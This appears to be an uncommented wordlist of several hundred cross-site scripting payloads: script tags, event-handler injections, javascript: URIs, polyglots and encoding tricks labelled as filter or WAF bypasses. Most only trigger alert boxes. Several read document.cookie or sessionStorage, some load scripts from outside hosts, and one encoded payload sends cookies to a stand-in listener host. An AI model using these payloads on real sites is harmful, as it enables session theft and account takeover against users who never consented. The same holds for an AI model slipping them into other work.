‘>alert(154)</script><script/154=’;;;;;;;
<ScriPt>ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()</sCripT>
<script%20TEST>alert(1)</script%20TESTTEST>
"><input type="hidden" oncontentvisibilityautostatechange="confirm(/Bypassed/)" style="content-visibility:auto">
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
"><script akdk> prompt(document.domain)</script akdk>
<script ~~~>alert(0%0)</script ~~~>
"<script>alert(0)</script>"@gmail.com
#/<script>alert(1234)</script>
/<script>alert(1234)</script>
<script>alert(1234)</script>
<ScripT>alert(1234)</ScRipT>
"><script>alert(123)</script>
'><script>alert(123)</script>
--><script>alert(123)</script>
><script>alert(123)</script>
＜script＞alert(123)＜/script＞
"><script>alert(123);</script x="
'><script>alert(123);</script x='
><script>alert(123);</script x=
<script>’alert(1)’.replace(/.+/,eval)</script>
"><script>alert(1)</script><"
#<script>alert(1)</script>
'`"//><script>alert(1)</script>
<!<script>alert(1)</script>
<!<script>alert(1)</script> “
<%<!--'%><script>alert(1);</script -->
<%<script>alert(1)</script>
<scr'+'ipt>alert(1)</scr'+'ipt>
<script /**/>/**/alert(1)/**/</script /**/
<script>/&/-alert(1)</script>
<script>alert(1)</script>
<script>alert`1`</script>
\<script\>alert(1)\<\/script\>
“><script>alert(1);</script>
<sCRipT>alert(1)</sCRiPt>
<ScRiPt>alert(1)</sCriPt>
#<ScRiPt>alert(1)</ScRiPt>#
<ScRiPt>alert(1)</ScRiPt>
<<SCRIPT>alert(1);//<</SCRIPT>
*/</script>'>alert(1)/*<script/1='
<script>alert(1)</script>.asp
<script>alert(1)</script>.aspx
<script>alert(1)</script>.htm
<script>alert(1)</script>.html
<script>alert(1)</script>.php
'"><script>alert(2);</script>
'>  <script>alert(2);</script>
'>'+'><script>alert(2);</script>
'>👽💻🔥<script>alert(2);</script>
>"'><script>alert(2);</script>
>'"><script>alert(2);</script>
>'><script>alert(2);</script>
'>'><SCript>alert(2);</script>
<!<script>alert(4)</script>
<script /**/>/**/alert(/AmoloHT/)/**/</script /**/
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
%script%alert(CXSS¢)4/script%
<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>
"><<script>alert(document.cookie);//<</script>
"><script>alert(document.cookie)</script>
<script>alert(document[‘cookie’])</script>
<s\Cr\ipt\>alert(document\.cookie)<\/s\Cr\ipt\>\;\/>
'><scr'+'ipt>alert(document.cookie)</scr'+'ipt><b><!--
#<script>alert(document.domain)</script>
<!<script>alert(document.domain)</script>
<script>alert(document.domain)</script>
<=script>=alert("hacked")<=/scirpt>=
"><script>alert(“hello”)</script>jnyf0
<ScRipt>ALeRt("hi");</sCRipT>
<script ,>alert()</script>
>'>"><script>alert();</script>
<Script>alert()</Script>
<script>alert()</script>”/></style>
<script ^__^>alert(String.fromCharCode(49))</script ^__^
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<<SCRIPT>alert("test");//<</SCRIPT>
<script>alert\u00281\u0029</script>
<script>alert('\u0031')</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>	
<script>alert(['X','S','S'].join(''))</script>
<script>alert(“xss”)</script>
"><script>alert('XSS')</script>
<script>alert('XSS')</script>
//*><ScRipt>alert(/XSS/)</ScriPT>
<<SCRIPT>alert("XSS");//\<</SCRIPT>
" /> <script>alert('XSS Testing");</script> 
<<SCRIPT>alert(�XSS�);//<</SCRIPT>
<script>a\u006cert(1);</script>
<SCRIPT>a=/XSS/%0Aalert(a.source)</SCRIPT
?"></script><base%20c%3D=href%3Dhttps:\targetsite>
</script><body/onload=alert(m3ez)>
<script charset="\x22>javascript:alert(1)</script>
"<script>'confirm(0)%3B<%2Fscript>"
"\"><script>'confirm(0)%3B<%2Fscript>",
<script>'confirm(0)%3B<%2Fscript>
<!<script>confirm(1)</script>
<script ~~~>confirm(1)</script ~~~>
<sCriPt>confirm(documen.cookie)</ScRipt>
<!--><script>confirm/**/()/**/</script>
<sCript>confirm()</sCript>
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
<script //>//confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')//</script //
-->""/></script><deTailS open x=">" ontoggle=(co\u006efirm)``>
;</script><embed/test='asdf'/sr%00c='/'>
<script>eval(‘a\154ert(1)’);</script>
<script>eval('al'+'ert(1)');</script>
<script>eval(‘a\l\ert\(1\)’);</script>
<script>eval(‘al’+’ert(1)’);</script>
<script>eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));</script>
<script>eval(‘a\u006cert(1)’);</script>
<script>eval(‘a\x6cert(1)’);</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<script>eval('\x61lert(1)')</script>
<script>eval('\x61lert(\'33\')')</script>
<image src="javascript:alert(1)">
<image src/onerror=prompt(8)>
<image/src/onerror=prompt(8)>
"><image/src/onerror=prompt("ibrahimxss")>
<image src =q onerror=prompt(8)>
image src\r\n=valid.jpg onloadend='new class extends (co\u006efir\u006d)/**/`` &lcub;&rcub;'>
<img%09'%0asrc='%5c%0d%7c'%00=''onerror=%0d%09%0a%60%60.sup(eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==')))>
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
<img[%09]onerror=alert(1) src=a>
<img[%0a]onerror=alert(1) src=a>
<img%20hrEF="x"%20sRC="data:x,"%20oNLy=1%20oNErrOR=prompt1>
/<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;>
<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;>
=<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert%26%23x28;1%26%23x29;>
<img%20src=x%20onerror=”%26%2397%26%23108%26%23101%26%23114%26%23116(1)”>
"><img%20src=x%20onerror="alert(%27POC%20By%20DrakenKun%27)"
"><ImG%20sRc=x%20onErroR=prompt`ibrahimxss`>
"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
“><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
<--`<img%2fsrc%3d` onerror%3dalert(document.domain)> --!>
<img/anyjunk/onerror=alert(1) src=a>
img{background-image:url('javascript:alert()')}
<img border=3 alt=jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e>
<IMG+DYNSRC="javascript:alert(1);">
<img dynsrc="javascript:alert('Successful XSS')">
"<IMG DYNSRC=\"javascript:alert('XSS');\">"
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:javascript:alert(1)">
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img id=x tabindex=1 onfocus=alert(1)></img>
<img+<iframe ="1" onerror="alert(1)">
<img/ignored=()%0Asrc=x%0Aonerror=prompt(1)>
<img ignored=() src=x onerror=prompt(1)>
<img language=vbs src=<b onerror=confirm#1/1#>
<IMG+LOWSRC="javascript:alert(1);">
IMG+LOWSRC="javascript:alert(1);">
<IMG LOWSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:javascript:alert(1)">
<img o[%00]nerror=alert(1) src=a>
<img onerror=a[%00]lert(1) src=a>
<img onerror=a&#0108ert(1) src=a>
<img onerror=a&#108;ert(1) src=a>
<img onerror=a&#108ert(1) src=a>
“><img onerror=alert(1) src>
<img/’onerror=alert(1) src=a>
<iMg onerror=alert(1) src=a>
<img onerror=a&#x006c;ert(1) src=a>
<img onerror=a&#x06c;ert(1) src=a>
<img onerror=a&#x6c;ert(1) src=a>
{"<img onerror=confirm('xss_by_coffinxp')src/>":1}
<img onerror=eval('al&#x5c;u0065rt(1)') src=a>
<img onerror=eval(‘al&#x5c;u0065rt(1)’)src=a>
><img/onerror="javascript:alert(1%26%23x000000029;" src=x>
"/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
<imgonerror=&#x65;&#x76;&#x61;&#x6c;&#x28;&#x27;al&#x5c;u0065rt&#x28;1& #x29;&#x27;&#x29; src=a
<img onfocus=alert(1) autofocus tabindex=1>	
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
“><img only src=1 onerror=alert()>
<IMG onmouseover="alert('xxs')">
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
<img  sr%00c=x o%00nerror=((pro%00mpt(1)))>
<IMG+SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000039&#0000041>
<img/src=`%00`%20onerror=this.onerror=confirm(1)
<img src=`%00`&NewLine; onerror=alert(1)&NewLine;
<img/src=`%00` onerror=this.onerror=confirm(1)
<IMG+SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#39;&#41;>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=" &#14;  javascript:alert('XSS');">
<IMG SRC=" &#14; javascript:alert('XSS');">
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<img src=1 href=1 onerror="javascript:alert('HEJAP ZAIRY AL-SHARIF')"></img>
<img src=1 onerror="a:b:c:d:alert(1)">
<img/src='1'/onerror=alert(0)>
#<><img src=1 onerror=alert(1)>
#<img src=1 onerror=alert(1)>
<><img src=1 onerror=alert(1)>
<img src=1 onerror=alert(1)>
<img+src=1+onerror=alert(1)>&anything_else=test
"><img src=1 onerror=alert(1)>.gif
"><img src=1 onerror=alert&#x000000028;1&#x000000029;&#x00000003B;">
"]<img src=1 onerror=confirm(1)>
#"]<img src=1 onerror=confirm(1)>
/#<img src=1 onerror=javascript:confirm(3)>
<img src=1 onerror=print()>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>
"><img src=1 onmouseleave=print()>
?><img src=1 onmouseleave=print()>
<--`<img/src=`%20onerror=confirm``>%20--!>
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<img+src%3dOnXSS+OnError%3dalert('XSs-Cloudflare-bypass-By-Dedi')>
<img src="abc" onerror="alert(1)">
"><img src=a onerror=alert(document.location)>
`'";//><Img Src=a OnError=location=src>
<img src=a onerror="var x=document.createElement('script');x.src='<attacker_server>/api.js';document.body.appendChild(x);">
<img/src=a onerror="window['alert'](document.cookie)"/>
<img/src=a onerror="windowT[‘alert'|(document.cookie)"/>
<img src=asdf onerror=alert(JSON.stringify(sessionStorage))>
<img src="data:image/svg+xml,<svg onload='top[//.source+//ert//.source](document.cookie)'">
"><img src=data:, onerror=prompt(document.domain);>
<img src @error=e=$event.composedPath().pop().alert(1)>
<img src @error=e=$event.path.pop().alert(1)>
<img src @error=this.alert(1)>
<img/src="funny.jpg"onload=javascript:eval(alert('Successful&#32XSS'))>
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<!--<img src="--><img src=x onerror=javascript:alert(/AmoloHT/)//">
<![><img src="]><img src=x onerror=javascript:alert(/AmoloHT/)//">
<img src=”invalid-image” onerror=”alert(document.cookie)”>
#<img src="invalid-image" onerror="alert('XSS');">
<img src="invalid-image" onerror="alert('XSS');">
<img src ?itworksonchrome?\/onerror = alert(1)
<img »src="j%20a%20v%20a%20s%20c%2 »0r%20i%20p%20t%20%3a%20a%20l »%20e%20r%20t%20(%20'%20x%20s »%20s%20'%20)" alt="j a v a s »c r i p t : a l e r t ( ' x »s s ' )" />
"><img src="javascript:alert(1);" />
<img src="javascript:alert(1)">
<IMG SRC=&{javascript:alert(1);};>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<img src="java	script:al	ert('Successful XSS')">
<img src="java    script:al ert('Successful XSS')">
<img src=`javascript:alert("The name is 'XSS'")`>
<IMG SRC="`<javascript:alert>`('XSS')"
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')"
<IMG SRC=”javascript:alert(‘XSS’)”
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<img src="javascript:alert('XSS')" alt="Image">
<IMG SRC="jav    ascript:javascript:alert(1);">
<IMG SRC="javascript:javascript:alert(1)"
<IMG SRC="javascript:javascript:alert(1);">
<IMG SRC=`javascript:javascript:alert(1)`>
<IMG SRC=javascript:javascript:alert(1)>
"><img src=javascript:while([{}]);>
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG+SRC="jav&#x0A;ascript:alert(1);">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG+SRC="jav#x0D;ascript:alert(1);">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG+SRC=j&#X41vascript:alert(1)>
<IMG SRC="livescript:[code]">
'><img+sRc=l+oNerrOr=prompt(document.cookie)+x>
<img src=``&NewLine; onerror=alert(1)&NewLine;
<img src="non-existent-image.jpg" onerror="alert(document.cookie);" />
<img src onerror=%26emsp;prompt`${document.domain}`>
<img/src/onerror=&#8196;alert&#65279;(31337)>
<--`<img/src=` onerror=alert(1)> --!>
<img src/onerror=alert(1)>
<img src=/ onerror=alert(1)>
<img/src/onerror=alert(1)
<img/src/onerror=alert/*1337*/(1)>
#"><img src=/ onerror=alert(2)>
"><img/src/onerror=alert(`coffinxp`)>
#<img/src/onerror=alert(`coffinxp`)>
<img/src/onerror=alert(`coffinxp`)>
<img src="" onerror="alert(document.cookie)">
??"><img/src/onerror=alert(document.domain)>
<img/src/onerror=alert//&NewLine;(2)>
<img/src/onerror=alert&sol;**&sol;(3)>
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img/src/onerror=alert&#xFEFF;(1337)>
<img src onerror /" '"= alt=javascript:alert(1)//">
<--`<img/src=` onerror=confirm``> --!>
<--`<img/src=` onerror=confirm(1)> --!>
<img src onerror=confirm(1)>
<img/ src//'onerror/''/=confirm(1)//'>
<img/src/onerror="(function(x){this[x+`ert`](1)})`al`">
<img src onerror=import('//bo0om.ru/x/')>
<img src/onerror=prompt(8)>
<img/src/onerror=prompt(8)>
<img/src/onerror=setTimeout(atob(/YWxlcnQoMTMzNyk/.source))>
<img/src=`` onerror=this.onerror=confirm(1)
<img/src/onerror="this.ownerDocument.defaultView['\u0061lert'](4)">
<img/src/onerror="window[ al+/e/['ex + ec]'e'+'rt'](2)">
<img/src/onerror="window[`al+/e/[`ex + `ec`]`e`+`rt`](2)">
<img src=# onerror\x3D"javascript:alert(1)" >
<img+src=oNlY=1+ onerror="alert(['a', 'x', 'b', 'x', 'c', 's'].map(c => c.replace(/[abc]/g, '')).join(''))">
<img+src=oNlY=1+ onerror="alert(['x', String.fromCharCode(121), 'x', 's'].filter(c => c.charCodeAt(0) !== 121).join(''))
<IMG SRC= onmouseover="alert('xxs')"
<IMG SRC= onmouseover="alert('xxs')">
<IMG SRC=# onmouseover="alert('xxs')">
<Img Src=On OnError=alert(1)>
<inpuT autofocus oNFocus="setTimeout(function() { /*\*/top['al'+'\u0065'+'rt'](1)/*\*/ }, 5000);"></inpuT%3E;
"><input autofocus onfocus =top[(584390752*16).toString(32-1*2)](/XSS/)>
<input id=?a?value=?global?><input id=?b?value=?E?><input ?id=?c?value=?val?><input id=?d?value=?aler?><input id=?e?value=?t(documen?><input id=?f?value=?t.domain)?><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)>
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>}}
<input ng-cut=$event.composedPath()|orderBy:'(y=alert)(1)'>
"><input/onauxclick="[1].map(prompt)">
<input onauxclick=alert(1)>
<input onblur="alert('XSS')" value="Blur me">
<input onblur=javascript:alert(1) autofocus><input autofocus>
<input onf%0Aocus=alert(1) autofocus/
<input onfocus="alert(0);" autofocus>
<input onfocus=javascript:alert(1) autofocus>
<input oninput=alert(1) value=xss>
<input/oninput='new Function`confir\u006d\`0\``'>
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
«input»; p=-alert(1)}//\ $result* var n = {a: "-alert(1)}//\", b: "-alert(1)}//\"};
«input»; p=\&q=-alert(1)// $result* var n = {a: "\", b: "-alert(1)}//"};
<input type="button" value="XSS" onclick="alert('XSS')">
<INPUT+TYPE="checkbox"+onDblClick=confirm(XSS)>
<input type="hidden" accesskey="X" onclick="alert(1)">
<input type="hidden" value="mypayload" /> %22%20autofocus%20onfocus%3d(confirm)(1)%2f%2f
<input type=image src=1 onerror=alert(1)>	
<input type="image" src="invalid" onerror="alert('XSS')">
<INPUT+TYPE="IMAGE"+SRC="javascript:alert(1);">
<input type="image" src="javascript:alert('Successful XSS')">
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
<input type=image src onerror="prompt(1)">
<input type=search onsearch="location='data:text/html;\x62\x61\x73\x65\x36\x34,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='">
"><input type="submit" formaction="javascript&colon;this&lsqb;'a'&plus;'lert'&rsqb;`1`"
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
<input type="text" value="javascript:alert('XSS')">
<input type="text" value="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></input>
<input type='text' value='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'></input>
<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input>
"><input value=<><iframe/src=javascript:confirm(1)
<input value=<><iframe/src=javascript:confirm(1)
io.swf?yid=\"));}catch(e){alert(1);}//
<isindex action=javascript:alert(1) type=image>
<isindex action=javascript:alert(1) type=submit value=click>
<isindex action="javascript:alert('XSS')">
<isindex formaction=javascript:alert(1) type=submit value=click>
<isindex+type=image+src=1+onerror=alert(1)>
<isindex type=image src=1 onerror=alert(XSS)>
<isindex x="javascript:" onmouseover="alert(XSS)">
//j%5c%5cjavascript%3aalert(document.domain)
jane('"><script>alert(2)</script>)@gmail.com
java%09script:alert(1)
java%0d%0ascript%0d%0a:alert(document.domain);//
<java contentEditable='' autofocus='' onfocus=location=tagName+innerHTML+location.hash>script:/*#*/alert(1)
javas%09cript:ghi=%27)%3E%27,you=%27(top%5B%22docum%22%2B%22ent%22%5D.cookie%27;HTMLElement%5B%27inne%27%2B%27rHTML%27%5D=%27%3CSvg/OnLoad=alert%27%2Brob%2Beco;//
javascript&#00058;confirm(1)
javascript://%0Aalert(1)
javascript:/*/*/**/**/**/*%0D%0A%0d%0a*//**/oNclick-alert())//</style/</title/</textarEa/</script/->\x3ciframe/<iframe/oNloAd-alert(1)//>\x3e
JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(import(/https:\\X55.is/.source))}//\76-->
javascript://%250Aalert(1)
javascript:\/\/%250Aalert(1)
javascript:\\\/\\\/%250Aalert(1)
javascript:\\\\\\\/\\\\\\\/%250Aalert(1)
javascript:\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\/%250Aalert(1)
javascript://%250Alert(document.location=document.cookie)
JavaScript://%250Dtop.confirm?.(1)//
javascript://%2F%27%2F%3C%2Ftitle%3E%3C%2Fstyle%3E%3C%2Ftextarea%3E%3C%2Fscript%3E--%3E%3Cp%22%20%0D%20%0A%20onclick%3Dalert(123)%2F%2F%3E*%2Falert()%2F*%3Cimg%20src%3Dx%20onerror%3Dalert(456)%2F%3E%3Csvg%2Fonload%3Dprompt(789)%2F%3E%3B'%22%2F%2F%20%3A%3Bfn()%3B%0A%0D%0A%0D%0A%0D%0A%09{{12*12+'Audi%20RS5'.substr(0,4)}}XXX%3Cscript%3Ealert('XSS')
javascript://%2F%2F%27%2F%3C%2Ftitle%3E%3C%2Fstyle%3E%3C%2Ftextarea%3E%3C%2Fscript%3E--%3E%3Cp%22%20%0D%20%0A%20onclick%3Dalert(123)%2F%2F%3E*%2Falert()%2F*%3Cimg%20src%3Dx%20onerror%3Dalert(456)%2F%3E%3Csvg%2Fonload%3Dprompt(789)%2F%3E%3B%27%22%2F%2F%20%3A%3Bfn()%3B%0A%0D%0A%0D%0A%0D%0A%09{{12*12+'Audi%20RS5'.substr(0,4)}}XXX%3Cscript%3Ealert('XSS')
javascript%3Avar%20a%3D%22ale%22%3Bvar%20b%3D%22rt%22%3Bvar%20c%3D%22%28%29%22%3BdecodeURI%28%22%26lt%3Bbutton%20popovertarget%3Dx%26gt%3BClick%20me%26lt%3B%2Fbutton%26gt%3B%26lt%3Bhvita%20onbeforetoggle%3D%22%2Ba%2Bb%2Bc%2B%22%20popover%20id%3Dx%26gt%3BHvita%26lt%3B%2Fhvita%26gt%3B%22%29
javascript%3Avar%7Ba%3Aonerror%7D%3D%7Ba%3Aalert%7D%3Bthrow%2520document.cookie
javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie
javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain
javascript&#58;alert(1)
javascript&#58;alert(1);
javascript:%61lert(1)
javascript:74163166147401571561541571411447514115414516216450615176
<JavaScript:"\74Svg\57OnLoad\75\141\154\145\162\164\501\51\76"/ContentEditable/AutoFocus/OnFocus=location=tagName>
javascript:{ alert`0` }
#javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:/*'-alert(1)-'*/
javascript:alert(1)
javascript:alert(1);/////
javaScRipt:Alert(‘1’)
jAvaScripT:(alert)`1`
JavaSCript:alert(123)
javascript:alert('1')"*alert(1)*"
javascript:alert(1)//\";alert(1);<!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//--><FRAME SRC="javascript:alert(1);"></textarea></style></iframe></noscript></noembed></template></option></select></script><img src=x onerror=alert(1)></title><script>alert(1)</script><img src=0 onerror=alert(1)><img src=x:x onerror=alert(1)> alert(1)// 
javascript:alert(1)?q=%26callback%3Durc_button.click%23
#javascript:alert(2);
javascript:alert/*`/*\/*'/*\"/*"/**/(alert())// alert()//--></template><frame/onload=alert() <img src=x onerror=alert()></style/</title/</textarea/</noscript/</noembed/</script><script>alert()</script>
javascript:alert()//*/alert()/*'-/"/-eval(`(alert())`)//\"-alert()//--></title></style></noscript></textarea></template></noembed><script>alert()</script><frameset onload=alert()><svg/onload=alert(1)> alert()//
javascript:alert()//\";alert();/*-/*`/*\`/*'/*"/**///--><FRAME SRC="javascript:alert();"></textarea></style></noscript></noembed></template></option></select></script></title><svg/onload=alert()><svg/onload=alert()> alert(1)// 
javascript:alert()//'//"//\"; '/`/*\/*'/*"/**/(alert())//</style></template/</title/</textarea/</noscript/</noembed/</script>--><frame <svg onload=alert()><script>alert()</script>
javascript:alert()//'//"//\"//-->`//*/ alert();//</title></textarea></style></noscript></noembed></template><frame onload=alert()></select></script><<svg onload=alert()>
javascript:alert()//'//"//`//></a></option></select></template></noscript></script></title></style></textarea></noembed>--><<svg onload=alert()>\">alert()//*/ alert()//<frame src=javascript:alert()>
#javascript:alert(document.domain)
javascript:alert(document.domain);
javascript:alert()//<frame/src=javascript:alert()><svg/onload=alert()>`;alert()`';alert()//\";alert();//"//--></title></textarea></style></noscript></noembed></template></option></select></script><svg onload=alert()>*/ alert()//* 
javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!-- 
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
javascript:alert()//\"//`//'//"//--></style></select></noscript></noembed></template></title></textarea></script><iframe/srcdoc="<svg/onload=alert()>"><frame/onload=alert()>*/ alert()//
javascript:alert()//\ /*<svg/onload=';alert();'></textarea></style></title></noscript></template></noembed><frame onload=";alert();"></script>--><script>alert`;alert();`</script>*/alert()//\";alert()//
javascript:alert();//</title></noscript></noembed></template></style></textarea><frameset onload='+/"/+/[*/[]/+alert()//'-->\" alert();/*`/**/(/**/alert())//<script>alert()</script><<svg onload=alert()>>
javascript:alert()//--></title></style></noscript></noembed></template></select></textarea><frameset onload=alert()></script>*///\"//`//'//"//><svg <svg onload=alert()> alert()//
javascript:alert()//</title></style></textarea></noscript></template></noembed><script>alert()</script>-->\";alert()//";alert()//';alert()//<script>alert()</script><frame src="javascript:alert()">` alert()//<svg/onload=alert()>*/alert()/* 
javascript:alert()//"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script>*/ alert()//<frame onload=alert()><<script>alert()<</script>
javascript:alert()//*-->*`/*'/*"/*\"/*</title></textarea></style></noscript></noembed></template><frame src=javascript:alert()></script><script>/*<svg onload=alert()>*/ alert()//</script>
javascript:/*"/*'/*`/*\"/**/ alert()//*</title></textarea></style></noscript></noembed></template></option></select></SCRIPT>--><<svg onload=alert()><frame src=javascript:alert()>
javascript:"/*'/*\"/*` /**/alert()//--></title></textarea></style></noscript></noembed></template></script><script>alert()</script><svg/<frame/onload=alert()>
javascript:alert()"//</title></textarea></style></noscript></noembed></template></script>\"//'//`//--><script>//<svg <frame */onload= alert()//</script>
javascript:/*"/*`/*'/*\"/*-->*/ alert()//</title></textarea></style></noscript></noembed></template></script></select><frame/onload=alert``><<svg/onload=alert()>
javascript:/*"/*\"/*`/*'/**/ (alert())//</title></textarea></style></noscript></script></noembed></template></select><frame src=javascript:alert()--><<svg/onload=alert()>
javascript:/*`/*'/*'/*"-/*\"/**/ alert()//></title></textarea></style></select></script></noembed></noscript></template>--><<svg/onload=alert()><frame/src=javascript:alert()>
'javaScriPt:alert\x2845\x29'
#javascript:(alert('XSS Success!'))()
javascript:(alert('XSS Success!'))()
javascript://anything%0D%0A%0D%0Awindow.alert(1)
javascript&colon;alert(1)
javascript&colon;alert(1);
javaSCRIPT&colon;confirm(1)
"javascript:confirm(0);",
;})javascript:confirm(0);
;javascript:confirm(0);
javascript:confirm(0);
javascript:confirm(1)
javascript:confirm(1)//
javascript:document.body.onclick=alert(1)
javascript:document.getElementsByTagName(%60body%60)%5B0%5D.innerHTML=%60%3Ch1%3Ehacked%3C/h1%3E%60//
Javascript://%E2%80%A9alert(618)
javascript:%ef%bb%bfalert(XSS)
javascript:eval(unescape(location.href))
javascript:/*"/*'/*\"/*`/*><frame src=javascript:alert()></template </textarea </title </style </noscript </noembed </script --><<script>alert()<</script>\ /**/alert()//
javascript:'/*`/*'/*"/*\"/*<FRAME SRC= javascript:/**/-alert()//--></title></textarea></style></noscript></noembed></template></script><script>//<svg onload= alert()//</script>
javascript:new%20Function`al\ert\`1\``;
javascript:"/*\"/*'/*`/*--></noembed></template></noscript></title></textarea></style></script></select><frame/onload=alert()><<svg/onload= /**/alert()//>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
